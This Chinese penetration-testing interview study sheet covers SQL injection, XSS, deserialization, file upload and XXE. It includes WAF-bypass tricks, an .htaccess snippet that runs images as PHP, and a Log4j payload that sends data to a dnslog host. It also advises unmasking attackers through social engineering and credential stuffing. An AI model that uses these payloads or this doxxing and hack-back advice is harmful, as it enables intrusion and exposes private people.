HVV&渗透面试问题总结

面试问题总结

1、SQL注入

什么是SQL注入?

产生SQL注入漏洞的根本原因在于代码中没有对用户输入项进行验证和处理便直接拼接

到查询语句中。利用SQL注入漏洞,攻击者可以在应用的查询语句中插入自己的SQL代码并传递

给后台SQL服务器时加以解析并执行。

1、发生原理:当后端代码在构造数据库查询语句时,没有对用户输入的内容进行严格的清洗或转义,直接进行了字符串拼接。

2、攻击机制:攻击者通过输入精心构造的SQL指令片段(例如闭合符和逻辑操作符),改变了原本SQL语句的语法结构和执行逻辑。

3、实际危害:这会导致数据库执行攻击者预期的非授权操作,轻则造成敏感数据泄露(拖库)、业务数据被篡改,重则可能被利用来读取或写入服务器文件,甚至获取服务器系统的控制权。

sql注入如何防御?

1.关闭应用的错误提示

2.加waf

3.对输入进行过滤

4.限制输入长度

5.限制好数据库权限,drop/create/truncate等权限谨慎grant

6.预编译(参数化查询)比如使用Java的PreparedStatement,它的原理是数据库在执行前先预编译SQL的语法结构,之后将用户输入严格作为数据参数传入,使其无法改变语法逻辑。

7.数据库信息加密安全(引导到密码学方面)。不采用md5因为有彩虹表,一般是一次md5后

加盐再md5

8.清晰的编程规范,结对/自动化代码review,加大量现成的解决方案

(PreparedStatement,ActiveRecord,歧义字符过滤, 只可访问存储过程

balabala)已经让SQL注入的风险变得非常低了。

9、严格的输入验证与过滤:在应用层建立安全机制,使用白名单或正则表达式对用户输入的数据类型、长度、格式进行强制校验,拦截包含特殊字符或SQL关键字的异常请求。

10、最小权限原则,为数据库连接配置权限最低的独立账号,仅赋予其执行该业务所必需的读写权限,严禁使用root或具备建表、删库、文件读写权限的高级账号,以此控制漏洞被利用后的影响范围。

SQL注入如何绕过waf?

1、编码与变形绕过:利用WAF解码能力的局限性,对注入的Payload进行多次URL编码、十六进制编码或Unicode编码,使其在通过WAF时表现为普通字符串,到达后端再被解析为SQL指令。

2、注释符与空白符混淆:在SQL关键字中间插入内联注释(如 SEL/**/ECT),或者使用制表符、换行符(如 %0a%09)等代替常见的空格,以此规避WAF的正则黑名单匹配。

3、等价函数与符号替换:当WAF拦截了特定的系统函数或操作符时,寻找功能相同的替代品。例如,空格被过滤就用括号包裹,sleep() 被拦截就换成 benchmark(),等号被拦截就用 LIKEREGEXP

4、架构特性利用:利用中间件解析参数的特性,例如HTTP参数污染(HPP)或分块传输编码(Chunked),导致WAF只能检测到部分数据,而真实的Payload则被后端完整拼接执行。

sql注入有哪些种类?

1、联合查询注入:这是最基础的回显注入,前提是前端页面能展示查询结果。我们利用UNION操作符,将恶意的查询结果拼接到原本正常的查询结果下方,直接在页面上读取数据。

2、报错注入:页面没有正常的数据回显,但后台配置不当,会把数据库的底层报错信息打印在网页上。我们就故意构造错误的语法,利用updatexml、extractvalue等特定函数,让敏感数据跟着报错信息一起吐出来。

3、布尔盲注:页面既没回显也不报错,但根据SQL语句执行的是True还是False,页面的展示内容会有细微的不同(比如内容存在与否)。我们通过构造判断语句,像查字典一样,通过页面的真假反馈,逐个字符猜解出后台数据。

4、时间盲注:这是环境最苛刻的情况,页面无论真假看起来都一模一样。我们只能利用sleep或benchmark这类延时函数,通过监控服务器响应时间的长短,来推断我们的SQL逻辑是否成立。

5、外带注入:当盲注的效率实在太低,或者目标网络环境有限制时,我们可以利用数据库自身发起网络请求的功能(比如通过域名解析),把数据“外带”送到我们自己搭建的接收平台上。

6、GET注入:注入点位于URL的查询参数中,这种最容易被扫描器发现,也最方便手工测试。

7、POST注入:注入点隐藏在HTTP的请求体里,多见于登录框、注册表单、后台文章发布等数据提交的地方。

8、HTTP头注入:很多开发人员会忽略对HTTP请求头的校验。常见的注入点包括用来记录客户端信息的User-Agent、记录来源页面的Referer、追踪会话的Cookie,以及常被用来伪造IP的X-Forwarded-For字段。

从代码拼接时的上下文数据类型来分,有这3种:

9、数字型注入:后端代码把用户输入当成数字直接拼进SQL,不需要闭合任何引号。测试时输入简单的数学运算(比如 id=1+1),看页面是否发生变化就能判断。

10、字符型注入:用户输入在后台被单引号或双引号包裹着。我们必须先输入对应的引号闭合掉前面的代码,再利用注释符把后面的代码废弃掉,才能让我们的恶意指令生效。

11、搜索型注入:通常发生在网站的搜索框业务中,后端使用的是LIKE关键字进行模糊匹配。我们在注入时需要额外考虑去闭合掉百分号(%)和引号。

12、二次注入:这在很多Java Web项目或大型后台系统中特别容易踩坑。恶意数据在第一次提交时,可能被系统转义或认为是安全的,从而存入了数据库;但当其他业务逻辑(比如修改密码、查看详情)再次从数据库中读出这条脏数据,并直接参与新的SQL拼接时,就触发了真正的注入。

13、堆叠注入:利用分号(;)作为语句结束的标志,在正常的SQL语句后面紧跟着执行第二条甚至多条全新的SQL语句。这种危害极大,攻击者可以直接执行清空表、添加管理员等操作。

14、宽字节注入:这主要与历史遗留的字符集编码有关。当数据库采用GBK等宽字节编码,而防御机制只是简单地在单引号前面加反斜杠(\)进行转义时。攻击者可以输入特定的字符(如%df),使其与反斜杠组合成一个有效的汉字,从而“吃掉”转义符,让单引号逃逸出来引发注入。

如何突破注入时字符被转义?

宽字符注入;hex 编码绕过

2、XSS

问题:什么是xss?

回答:XSS全称是跨站脚本攻击(Cross-Site Scripting),本质上是一种针对客户端浏览器的代码注入漏洞。我们可以从以下几个层面来理解:

1、发生原理:Web应用程序在接收了用户输入的不可信数据后,没有进行严格的过滤和安全处理,就直接将其拼接并输出到前端HTML页面中。

2、攻击机制:当其他正常用户访问这个被污染的页面时,浏览器会误以为这些混入的恶意脚本(通常是JavaScript)是网站官方的正常代码,从而直接解析并执行它。

3、实际危害:攻击者可以利用代码在用户的浏览器里“为所欲为”。最常见的是盗取用户的Cookie和会话凭证(实现免密登录),也可以劫持用户的点击操作、进行钓鱼欺骗,甚至配合其他漏洞向内网发起攻击。 4、主要分类:实战中通常分为三种。反射型(非持久化,多通过诱导用户点击恶意URL触发)、存储型(持久化,恶意代码被存入后端数据库,任何人访问该页面都会中招,危害最大)和DOM型(纯前端DOM节点操作不当导致的脚本执行,数据不一定经过后端)。

xss如何防御?

1、对前端输入做过滤和编码:比如只允许输入指定类型的字符,比如电话号格式,注册用户名限制等, 输入检查需要在服务器端完成,在前端完成的限制是容易绕过的;对输出做过滤和编码:在变量值输出到前端的 HTML 时进行编码和转义;

2、使用安全的现代前端框架:现在的实际开发中,应尽量规范使用React、Vue等现代框架。它们在进行数据绑定时,底层默认自带了防御常见XSS的转义机制,能大幅减少开发人员因疏忽导致的漏洞。

3、部署CSP(内容安全策略):在服务器端配置HTTP响应头 Content-Security-Policy。相当于给前端建立一个白名单,严格限制浏览器只能加载和执行指定安全域名下的脚本,同时禁止执行内联脚本(inline script),这能直接掐断绝大多数XSS的执行途径。

4、关键凭证保护:对包含Session ID等敏感身份信息的Cookie,务必设置 HttpOnly 标志。这样即使页面真的存在XSS漏洞被注入了恶意脚本,攻击者也无法通过 document.cookie 读走这些核心凭证。

5、对输入内容的特定字符进行编码,例如表示html标记的 < > 等符号。

6、将不可信的值输出URL参数之前,进行URLEncode操作,而对于从URL参数中获取值一定要

进行格式检测(比如你需要的时URL,就判读是否满足URL格式)。

7、不要使用Eval来解析并运行不确定的数据或代码,对于JSON解析请使用 JSON.parse()

方法。

问题:xss如果绕过waf?

img img

回答:实战中绕过WAF主要是寻找规则的盲区和利用浏览器的解析特性,主要有这三个思路:

1、标签与事件替换:WAF通常会死盯 <script>onload 等常见特征。我们可以替换为 <svg><details> 等冷门标签,配合 ontoggleonmouseover 等事件来触发。

2、编码与混淆:利用浏览器多重解码的容错性,对Payload进行HTML实体编码、URL编码或Unicode转义。WAF匹配不到明文特征就会放行,但浏览器依然能将其解码并执行。

3、利用DOM型特性:DOM型XSS的Payload通常放在URL的 #(锚点)后面,这部分数据只在前端处理,根本不会发送到后端服务器,因此可以直接绕过部署在网络边界的WAF。

1.大小写

2.js伪协议

3.没有分号

4.Flash

5.Html5新标签08-XXE漏洞?

6.Fuzz进行测试

7.双层标签绕过

问题:xss分为几类?

image-20240513163308593

回答:按照恶意脚本的交互方式和存储位置,XSS主要分为以下三类:

1、反射型:非持久化。攻击脚本附加在URL参数中,发送给服务端后,服务端直接将其原样反射拼接到HTML响应里。通常需要诱导受害者点击恶意链接才能触发。

2、存储型:持久化。攻击脚本被提交并永久保存在了后端的数据库里(比如文章评论区)。之后任何访问该页面的用户,都会在不知情的情况下加载并执行这段恶意代码,危害最大。

3、DOM型:纯前端漏洞。整个数据交互和污染过程都在客户端完成,前端JS代码直接从URL(如 location.hash)获取恶意数据并渲染到DOM树中,数据不经过后端服务器

问题:xss、csrf、ssrf有什么区别?

回答:这三个漏洞虽然名字像,但攻击的目标和原理完全不同,可以这样区分:

1、XSS(跨站脚本攻击):目标是客户端浏览器。本质是“执行代码”,攻击者往页面里注入恶意JS脚本,受害者访问页面时脚本运行,常用于盗取Cookie。

2、CSRF(跨站请求伪造):目标也是客户端,但本质是“盗用身份”。它不注入代码,而是利用受害者浏览器中已登录的Cookie,诱导受害者在不知情的情况下,向存在漏洞的网站发送特定的操作请求(比如改密码、转账)。

3、SSRF(服务器端请求伪造):目标是服务端。本质是“把服务器当跳板”。攻击者利用存在缺陷的Web应用作为代理,诱使服务器去发起网络请求,以此来探测或攻击原本在公网无法访问的内网资产。

3、反序列化

PHP反序列化有了解吗?

序列化就是将一个对象转换成字符串,反序列化则反之,将字符串重新转化为对象。此外,PHP反序列化又可以简单分成两种,一种无类,一种有类,无类利用就略微简单,如果源码会将输入的值进行反序列化,那我们就需要提前将数据序列化后再传入。而想要利用有类就要用到魔术方法,而魔术方法就像一个潜规则一样,例如我们在创建对象时,就会触发__construct(),并执行__construct()中的代码。

魔术函数:
Construct()、destruct()、sleep()、wake up()、tostring()

安全防范:
1、安全配置好php相关参数通过Php配置文件里面有个disable_functions = 配置,这个禁止某些php函数,服务器便是用这个来禁止php的执行命令函数。
2、升级中间件
3、严格控制传入变量,严谨使用魔法函数

php的poc攻击链:
指从现有运行环境中寻找一系列的代码或指令调用,构造一条和原代码需求一样的链条,去找到被控制的属性或方法,从而构造POP链达到攻击的目的。当发现想要利用的危险函数或可控属性并不在存在有魔法方法的类中,就需要强制构造POP链,让没有关系的类可以扯上关系。

pop链的利用:
如果关键代码不在魔术方法中,而是在一个类的普通方法中。这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来

JAVA反序列化了解吗?有没有了解过shrio反序列化?(最常问,无论hvv还是工作面试)?

Java中的ObjectOutputStream类的writeObject()方法可以实现序列化,其作用把对象转换成字节流,便于保存或者传输,而ObjectInputStream类的readObject()方法用反序列化,作用就是把字节流还原成对象。shiro反序列化主要是Apache shiro提供了一个remember的一个功能,用户登录成功后会生成经过加密并编码的cookie,保存在浏览器中方便用户的日常使用,而服务器对cookie的处理流程就是先获取浏览器上保存的cookie,然后将其bs64解码,再进行AES解密,再将其反序列化进行校验,而漏洞就是出现在这里,我们都知道AES它是一个硬编码,他是有默认密钥的,如果程序员没有去修改或者过于简单,那我们就可以进行cookie重构,先构造我们的恶意代码,然后将恶意代码进行序列化,然后AES加密(密钥我们已经爆破出来了),再进行bs64编码,形成我们新的cookie,而服务器在处理时就会按照刚才的处理流程,就会在服务端触发我们构造的恶意代码

java反序列化:
原理:Java序列化是指把Java对象转换为字节序列的过程,而Java反序列化是指把字节序列恢复为Java对象的过程。在 Java 中,利用 ObjectInputStream 的 readObject 方法进行对象读取(readObject方法为反序列化的方法)ObjectOutputStream的writeObject 方法进行对象写入(writeObject方法为序列化的方法 )

RMI通过序列化传输Remote对象,那么我们可以构造恶意的Remote对象,当服务端反序列化传输过来的数据时,就会触发反序列化,从而执行payload

Apache shiro Java 反序列化原理、漏洞特证

攻击特征:在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段

原理:使用 Java 序列化 ---> 使用密钥进行 AES 加密 ---> Base64 加密 ---> 得到加密后的 remember Me 内容 由于秘钥泄露,攻击者可以反向解密该字段,写入payload后直接重新放入cookie对其进行序列化,AES 加密,Base64 编码,然后将其作为cookie 的 remember Me 字段发送,Shiro 将 rememberMe 进行解密并且反序列化,最

终造成反序列化漏洞。)

apache shiro

*漏洞原理:*

Shiro提供了记住我(RememberMe)的功能,关闭了浏览器下次再打开时还是能记住你是谁,下次访问时无需再登录即可访问。

Shiro对rememberMe的cookie做了加密处理,shiro在CookieRememberMeManaer类中将cookie中rememberMe字段内容分别进行 序列化、AES加密、Base64编码操作。

在识别身份的时候,需要对Cookie里的rememberMe字段解密。根据加密的顺序,不难知道解密的顺序为:

1、获取rememberMe cookie

2、base64 decode

3、解密AES

4、反序列化

但是,AES加密的密钥Key被硬编码在代码里,意味着每个人通过源代码都能拿到AES加密的密钥。因此,攻击者构造一个恶意的对象,并且对其序列化,AES加密,base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。

4、文件上传

什么是文件上传漏洞 ?

由于程序员在对用户文件上传功能实现代码没有严格限制用户上传文件后缀

以及文件类型或者处理缺陷,而导致用户可以越过本身权限向服务器上传木马去控制服务器.

文件上传漏洞,指的是用户上传一个可执行的脚本文件,并通过此脚本文件获得了执行服务

端命令的能力。

许多第三方框架、服务,都曾经被爆出文件上传漏洞,比如很早之前的 Struts2,以及富文

本编辑器等等,可被攻击者上传恶意代码,有可能服务端就被人黑了。

危害

操作木马文件提权 获取网站权限

如何绕过?

1.黑名单

a.后缀名不完整 .php5 .phtml等

b.上传.htacess

c.大小写

d.在数据包中 后文件缀名前加空格

e.后缀名前加.

f.加上::$DATA

g.未循环验证,可以使用x.php..类似的方法

2.白名单(一般需要配合其他漏洞一起利用)

a.%00截断

b.图片马

c.条件竞争



1、客户端绕过(黑名单)
	a、禁用js功能,php文件更改成jpg后缀,提交抓包改成php后缀. 
	b、后缀名改成.php3或者.php5,脚本文件里添加文件格式为黑名单
	c、apq绕过文件后缀改php.xxx,apq文件解析从右往左解析,高版本的apq不行
	d、先上传.htaccess,将后续所有文件当做php执行  再上传 .jpg的木马
	e、文件名后缀大小写混合绕过
	f、空格点绕过、点空格绕过、空格点空格
	g、文件流特性绕过,后缀改(1.php::$DATA)    
	h、双写文件名绕过
2、白名单
	a、mime绕过    修改包头image/gif,然后放行数据包
	b、00截断
3、二次渲染
4、时间竞争

如何修复?

修复:

1、文件包含严格控制参数 或者直接固定参数

2、文件上传的目录设置为不可执行。

3、判断文件类型。

4、使用随机数改写文件名和文件路径。

5、单独设置文件服务器的域名。

6、使用安全设备防御。

如何防范文件上传漏洞?

文件上传的目录设置为不可执行

1)判断文件类型。在判断文件类型的时候,可以结合使用 MIME Type,后缀检查等方式。

因为对于上传文件,不能简单地通过后缀名称来判断文件的类型,因为攻击者可以将可执行

文件的后缀名称改为图片或其他后缀类型,诱导用户执行。

2)对上传的文件类型进行白名单校验,只允许上传可靠类型。

3)上传的文件需要进行重新命名,使攻击者无法猜想上传文件的访问路径,将极大地增加

攻击成本,同时向 shell.php.rar.ara 这种文件,因为重命名而无法成功实施攻击。

4)限制上传文件的大小。

5)单独设置文件服务器的域名。

.拿到一个 webshell 发现网站根目录下有.htaccess 文件,我们能做什么?

能做的事情很多,用隐藏网马来举例子:

插入<FilesMatch "xxx.jpg"> SetHandler application/x-httpd-php 

</FilesMatch>

.jpg 文件会被解析成.php 文件

文件上传有哪些技巧?

通过抓包截断将 eval.php.jpg 换成 eval.php_jpg(下划线为 0x00)。在上

传文件时系统文件遇到 0x00。会认为文件已经结束。从而将 eval.php.jpg 的内

容写入到 eval.php 中。

。htaccess 文件内容

<FilesMatch “haha”>

SetHandler application/x-httpd-php

</FileMatch>

文件幻数检测 jpg(JFIF) gif(GIF89a) png(%PNG)

apache 解析漏洞,2.0-2.2 IIS7.5 解析漏洞,任意文件名后加.php

nginx<0.8.32 1.jpg/1.php

nginx>0.8.41<1.5.6,1.jpg%20.php 解析

5、信息泄露

未授权访问你可以简单说说吗?

Redis 未授权访问漏洞未开启认证,导致可以直接连接到数据库,然后在攻击机中生成ssh公钥和私钥,密码设置为空,然后将生成的公钥写入,再利用私钥连接。JBOSS 未授权访问漏洞访问ip/jmx-console 就可以浏览 jboss 的部署管理的信息面板,不需要输入用户名和密码可以直接部署上传木马。简单来说就是对某些页面的验证不严格导致绕过了用户验证的环节,使其可以直接访问到某些登录后才能访问到的页面。

  1. js.map vue源码泄露

  2. 用户名枚举漏洞

  3. Http明文传输&密码可无限爆破

  4. Swagger接口文档泄露

  5. Druid 漏洞

  6. actutor

  7. 配置信息泄露

  8. 绝对路径泄露

  9. 内网 ip 泄露

  10. .htaccess 文件泄露

  11. phpinfo 信息泄露

  12. 隐藏文件泄露源代码

  13. Webpack源码泄露

  14. svn信息泄露

  15. git源码泄露

  16. 小程序session_key泄露

  17. 微信的appid泄露

  18. 云密钥Key泄露

  19. phpinfo泄露

  20. 地图API资源的调用

    image-20260328164540966

  21. .DS_Store 泄露常见漏洞-MAC 电脑导致的泄露

未授权

Active MQ 未授权访问
Atlassian Crowd 未授权访问
CouchDB 未授权访问
Docker 未授权访问
Dubbo 未授权访问
Druid 未授权访问
Elasticsearch 未授权访问
FTP 未授权访问
Hadoop 未授权访问
JBoss 未授权访问
Jenkins 未授权访问
Jupyter Notebook 未授权访问
Kibana 未授权访问
Kubernetes Api Server 未授权访问
LDAP 未授权访问
MongoDB 未授权访问
Memcached 未授权访问
NFS 未授权访问
Rsync 未授权访问
Redis 未授权访问
RabbitMQ 未授权访问
Solr 未授权访问
Spring Boot Actuator 未授权访问
Spark 未授权访问
VNC 未授权访问
Weblogic 未授权访问
ZooKeeper 未授权访问
Zabbix 未授权访问

6、XXE

什么是xxe漏洞?漏洞原理是什么

回答:XXE漏洞就是xml外部实体注入漏洞通常发生在应用程序解析XML输入时,没有禁止外部实体的加载,

导致可加载恶意外部文件,

造成文件读取、

命令执行、

内网端口扫描、

攻击内网网站、

发起dos攻击等危害。

作用:

内网端口扫描、利用file协议等读取文件、攻击内网web应用使用

get(struts2等)

危害:

1.导致可以加载恶意外部文件

2.造成文件读取

3.内网端口扫描

4.攻击内网网站

5.发起dos攻击等危害

CSRF、XSS 及 XXE 有什么区别,以及修复方式?

答:xSS 是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等

攻击。修复方式:对字符实体进行转义、使用 HTTP Only 来禁 JavaScript 读取 Cookie 值、输

入时校验、浏览器与 Web 应用端采用相同的字符编码。

CSRF 是跨站请求伪造攻击,XSS 是实现 CSRF 的诸多手段中的一种,是由于没有在关键操作

执行时进行是否由用户自愿发起的确认。修复方式:筛选出需要防范 CSRF 的页面然后嵌入

Token、再次输入密码、检验 Referer。

XXE 是 XML 外部实体注入攻击,XML 中可以通过调用实体来请求本地或者远程内容,和远

程文件保护类似,会引发相关安全问题,例如敏感文件读取。修复方式:XML 解析库在调用

时严格禁止对外部实体的解析。

7、应急响应

如何查看区分是扫描流量和手动流量?

扫描流量:流量集中,具有数据包内容具有一定规律型,数据包请求间隔低或频率基本一致。

手工流量:反之扫描流量回答即可。

内网告警应该如何处理,流程是怎么样的?

具体定位到哪台机器,报警说明知道具体漏洞类型,打相应补丁。利用webshell或者是shell查杀工具查杀,查看tmp目录下是非有带有免杀的木马。彻底清除。再到全流量分析的机子上看,是非有经过其他的机器。拿到攻击ip 之后到线上的一些网站查看主机类型,比如360或者微步上,查看是否是傀儡机,vps跳板,或者是国内个人云主机。如果是个人云主机,就可以通过whois查看是非有最近绑定的域名,或者绑定者的邮箱。知道邮箱之后就可以反查询出qq号说多少,再利用社工查询到手机号,到一个知名的网站或知名软件上查询这个手机号有没有注册过什么网站,可以去这些网站通过撞库的方法登入,这样就可以拿到这个攻击者的身份证,学校,地址这些了。

应急响应的简单流程?

  1. 收集信息:由安全设备收集主机,样本信息,以及一些客户信息。
  2. 判断类型:是否是安全事件?具体为什么安全事件?挖矿?DOS?等。
  3. 深入分析:从系统角度深入分析,日志,进程,启动项这些去分析。
  4. 清理处置:杀掉异常进程,删除异常文件,打补丁或者修复相关文件等。
  5. 产出报告:对此次安全事件进行一个完整的文档描述。

对蜜罐有什么了解?

  • 蜜罐是对攻击者的欺骗技术,用以监视、检测、分析和溯源攻击行为,没有业务用途。
  • 蜜罐的流量预示着扫描或攻击行为,较好聚焦攻击流量。

应急响应如何查找挖矿病毒,如何通过进程找到挖矿文件?

(1) 任务管理器netstat -anp寻找异常进程PID看端口信息,然后根据端口信息定位到文件,cd /proc/PID (ls -l查看),禁用可疑的服务项。

(2) windows还可以用wmic分析进程参数。

如何查看被入侵后敲过的命令?

History

8、Java相关

平常怎么去发现shiro漏洞的?

登陆失败时候会返回rememberMe=deleteMe字段或者

使用shiroScan被动扫描去发现

完整:

  • 未登陆的情况下,请求包的cookie中没有rememberMe

    字段,返回包set-Cookie里也没有deleteMe字段

  • 登陆失败的话,不管勾选RememberMe字段没有,返

    回包都会有rememberMe=deleteMe字段

  • 不勾选RememberMe字段,登陆成功的话,返回包set-

    Cookie会有rememberMe=deleteMe字段。但是之后的

    所有请求中Cookie都不会有rememberMe字段

  • 勾选RememberMe字段,登陆成功的话,返回包set-

    Cookie会有rememberMe=deleteMe字段,还会有

    rememberMe字段,之后的所有请求中Cookie都会有

    rememberMe字段

fastjson反序列化漏洞原理及利用

#1 fastjson工作形式
fastjson的功能就是将json格式转换为类、字符串等供下一步代码的调用,或者将类、字符串等数据
转换成json数据进行传输,有点类似序列化的操作
#2fastjson利用方式
#1.对于 fastjson版本 <= 1.2.24的情况,利用思路主要有2种
通过触发点JSON.parseObject()这个函数,将json中的类设置成
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl并通过特意构造达
到命令执行
利用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
TemplatesImpl类,而这个类有一个字段就是_bytecodes,有部分函数会根据这个
_bytecodes生成java实例,这就达
到fastjson通过字段传入一个类,再通过这个类被生成时执行构造函数。
#2.通过JNDI注入
jndi是一个Java命令和目录接口,举个例子,通过jndi进行数据库操作,无需知道它数据库是
mysql还是ssql,还是
MongoDB等,它会自动识别。
当然rmi也可以通过jndi实现,rmi的作用相当于在服务器上创建了类的仓库的api,客户端只用
带着参数去请求,服务
器进行一系列处理后,把运算后的参数还回来。
#序列化操作和反序列化操作需要的函数
#函数 作用
JSON.toJSONString(Object) 将对象序列化成json格式
JSON.toJSONString(Object,SerializerFeature.WriteClassName) 将对象序列化成
json格式,并且记录了对象 所属的类的信息
JSON.parse(Json) 将json格式返回为对象(但是反序列化类对象没有@Type时会报错)
JSON.parseObject(Json) 返回对象是com.alibaba.fastjson.JSONObject类
JSON.parseObject(Json, Object.class) 返回对象会根据json中的@Type来决定
JSON.parseObject(Json, User.class, Feature.SupportNonPublicField); 会把
Json数据对应的类中的私有成 员也给还原

shrio反序列化漏洞原理

#shrio550的原理
Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并
编码的cookie。在服务
端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏
洞。
#payload产生过程
命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值
#shrio721原理
由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用
户可通过Padding Oracle
加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终
导致任意代码执行。

weblogic反序列化漏洞原理

Weblogic(及其他很多java服务器应用)在通信过程中传输数据对象,涉及到序列化和反序列化操
作,如果能找到某个类在反序列化过程中能执行某些奇怪的代码,就有可能通过控制这些代码达到RCE
的效果
• 常见的weblogic漏洞
1. #CVE-2016-0638
Weblogic 直接反序列化
基于Weblogic t3协议引起远程代码执行的反序列化漏洞
漏洞实为CVE-2015-4852绕过
拜Oracle一直以来的黑名单修复方式所赐
2. #CVE-2016-3510
基于Weblogic t3协议引起远程代码执行的反序列化漏洞
3. #CVE-2017-3248
基于Weblogic t3协议引起远程代码执行的反序列化漏洞
属于Weblogic JRMP反序列化
4. #CVE-2018-2628
基于Weblogic t3协议引起远程代码执行的反序列化漏洞
属于 Weblogic JRMP反序列化
5. #CVE-2018-2893
基于Weblogic t3协议引起远程代码执行的反序列化漏洞
实为CVE-2018-2628绕过
同样拜Oracle一直以来的黑名单修复方式所赐
属于Weblogic JRMP反序列化

weblogic权限绕过?

  1. 通过静态资源来绕过权限验证,防止被重定向到登陆界面。

  2. 通过请求 .portal ,控制处理的 Servlet 是渲染 UI 的MBeanUtilsInitSingleFileServlet 。

  3. 通过编码后的 ../ ,让最终渲染的模版是console.portal 。

fastjson漏洞利用原理?

在请求包里面中发送恶意的json格式payload,漏洞在处理json对象的时候,没有对@type字段进行过滤,从而导致攻击者可以传入恶意的TemplatesImpl类,而这个类有一个字段就是_bytecodes,有部分函数会根据这个_bytecodes生成java实例,这就达到fastjson通过字段传入一个类,再通过这个类被生成时执行构造函数。

Log4j2漏洞产生的原理?

log4j2 是基于日志产生的漏洞。存在JNDI注入漏洞,当程序将用户输入的数据被日志记录时,lookup会将jndi注入可执行语句执行,触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意远端代码。

当目标服务器本身受到防护设备流量监控等原因,无法反弹shell的时候,Log4j2还可以通过修改payload,来外带一些敏感信息到dnslog服务器上。payload改成以下形式

"\({jndi:ldap://\){java:os}.2lnhn2.ceye.io}",将敏感信息回显到dnslog上。

9、渗透测试相关

信息收集

img

渗透测试的流程是什么

渗透测试流程概述

前期交互阶段、情报搜集阶段、威胁建模阶段、漏洞分析阶段、

渗透攻击阶段(Exploitation)、后渗透攻击阶段(怎么一直控制,维持访问)、

报告阶段。

攻击前:网络踩点、网络扫描、网络查点

攻击中:利用漏洞信息进行渗透攻击、获取权限

攻击后:后渗透维持攻击、文件拷贝、木马植入、痕迹擦除

或者:

单一网站:先判断有无CDN,有先找真实ip,无的话扫

扫旁站,c段,此外识别CMS,看看使用什么中间件,

插件,系统等等,再对其进行端口探测,目录扫描,

查看网站的js文件,看看有没有敏感信息泄露,找找看

看有没有app,公众号之类的等等扩大资产面,然后对

收集到的信息进行常规的漏洞探测。

网段或区域:使用goby工具对资产进行一个批量的扫

描,批量打点,然后对可能存在漏洞的薄弱点进行漏

洞探测。

你怎么做信息收集

收集域名信息
Whois查询
备案信息查询
敏感信息
子域名信息
收集常用端口信息
指纹识别
查找真实IP
敏感目录文件

说出至少三种业务逻辑漏洞,以及修复方式?

# 密码找回漏洞中存在
1)密码允许暴力破解、
2)存在通用型找回凭证、
3)可以跳过验证步骤、
4)找回凭证可以拦包获取
5)前端返回
等方式来通过厂商提供的密码找回功能来得到密码。
# 身份认证漏洞中最常见的是
1)会话固定攻击
2) Cookie 仿冒
只要得到 Session 或 Cookie 即可伪造用户身份。
# 验证码漏洞中存在
1)验证码允许暴力破解
2)验证码可以通过 Javascript 或者改包的方法来进行绕过
3)空值绕过
4)验证码的值可控

拿到一个待检测的站,你觉得应该先做什么?

收集信息:whois、网站源 IP、旁站、C 段网站、服务器系统版本、容器版本、
程序版本、数据库类型、二级域名、防火墙、维护者信息另说...

mysql 的网站注入,5.0 以上和 5.0 以下有什么区别?

5.0 以下没有 information_schema 这个系统表,无法列表名等,只能暴力跑表

名;5.0 以下是多用户单操作,5.0 以上是多用户多操做。

在渗透过程中,收集目标站注册人邮箱对我们有什么价值?

(1)丢社工库里看看有没有泄露密码,然后尝试用泄露的密码进行登录后台

(2)用邮箱做关键词进行丢进搜索引擎

(3)利用搜索到的关联信息找出其他邮箱进而得到常用社交账号

(4)社工找出社交账号,里面或许会找出管理员设置密码的习惯

(5)利用已有信息生成专用字典(6) 观察管理员常逛哪些非大众性网站,拿下它,你会得到更多好东西

判断出网站的 CMS 对渗透有什么意义?

查找网上已曝光的程序漏洞,如果开源,还能下载相对应的源码进行代码审计。

一个成熟并且相对安全的 CMS,渗透时扫目录的意义?

(1)敏感文件、二级目录扫描

(2)站长的误操作比如:网站备份的压缩文件、说明.txt、二级目录可能存放着其

他站点

如何手工快速判断目标站是 windows 还是 linux 服务器?

linux 大小写敏感,windows 大小写不敏感

给你一个网站你是如何来渗透测试的?

在获取书面授权的前提下:

(1)信息收集,

1.获取域名的 whois 信息,获取注册者邮箱姓名电话等。

2.查询服务器旁站以及子域名站点,因为主站一般比较难,所以先看看旁

站有没有通用性的 cms 或者其他漏洞。

3.查看服务器操作系统版本,web 中间件,看看是否存在已知的漏洞,比

如 IIS,APACHE,NGINX 的解析漏洞

4.查看 IP,进行 IP 地址端口扫描,对响应的端口进行漏洞探测,比如 rsync,

心脏出血,mysql,ftp,ssh 弱口令等。

5.扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄漏,比如php 探针

6.google hack 进一步探测网站的信息,后台,敏感文件

(2)漏洞扫描

开始检测漏洞,如 XSS,XSRF,sql 注入,代码执行,命令执行,越权访问,

目录读取,任意文件读取,下载,文件包含, 远程命令执行,弱口令,上传,

编辑器漏洞,暴力破解等

(3)漏洞利用

利用以上的方式拿到 webshell,或者其他权限

(4)权限提升

提权服务器,比如 windows 下 mysql 的 udf 提权,serv-u 提权,windows

低版本的漏洞,如 iis6,pr,巴西烤肉,linux 脏牛漏洞,linux 内核版本漏洞提权,

linux 下的 mysql system 提权以及 oracle 低权限提权

(5)日志清理

(6)总结报告及修复方案

或者:

1)信息收集

a. 服务器的相关信息(真实 ip,系统类型,版本,开放端口,WAF 等)

b. 网站指纹识别(包括,cms,cdn,证书等),dns 记录

c. whois 信息,姓名,备案,邮箱,电话反查(邮箱丢社工库,社工准备等)

d. 子域名收集,旁站查询(有授权可渗透),C 段等

e. google hacking 针对化搜索,pdf 文件,中间件版本,弱口令扫描等f. 扫描网站目录结构,爆后台,网站 banner,测试文件,备份等敏感文件泄漏

